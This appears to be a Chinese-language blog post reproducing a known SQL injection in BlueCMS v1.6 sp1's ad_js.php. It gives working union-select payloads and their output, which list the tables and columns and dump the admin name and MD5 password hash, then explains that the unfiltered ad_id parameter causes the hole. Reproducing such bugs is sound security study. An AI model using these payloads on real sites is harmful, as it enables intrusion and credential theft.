BlueCMS v1.6 sp1 漏洞复现

很早的一个漏洞了,突然发现就来复现一下,先看一下复现过程

BlueCMS v1.6 sp1 漏洞复现

注入点在这里,union select 后面跟参数的时候,在源码的回显里,1-6会报错

到7以及以后都是正常的,那么我们从7的数字上面构造注入

BlueCMS v1.6 sp1 漏洞复现

查到数据库的名字

BlueCMS v1.6 sp1 漏洞复现

相同的方法继续注入,就什么都有了

列一下payload和数据

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

——>>>
document.write("blue_ad,blue_ad_phone,blue_admin,blue_admin_log,blue_ann,blue_ann_cat,blue_arc_cat,blue_area,blue_article,blue_attachment,blue_buy_record,blue_card_order,blue_card_type,blue_category,blue_comment,blue_config,blue_flash_image,blue_guest_book,blue_ipbanned,blue_link,blue_model,blue_navigate,blue_pay,blue_post,blue_post_att,blue_post_pic,blue_service,blue_task,blue_user");

ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

——>>>document.write("admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip,admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip");


ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

——>>>
document.write("root:63a9f0ea7bb98050796b649e85481845");

这样,管理员的账号和密码的md5就爆出来了

现在来看一下漏洞形成的原因

用seay的代码审计系统审计一下源码

BlueCMS v1.6 sp1 漏洞复现

这个ad_js.php中的过滤只是去掉了空格和换行,可以直接带入查询,就构成了注入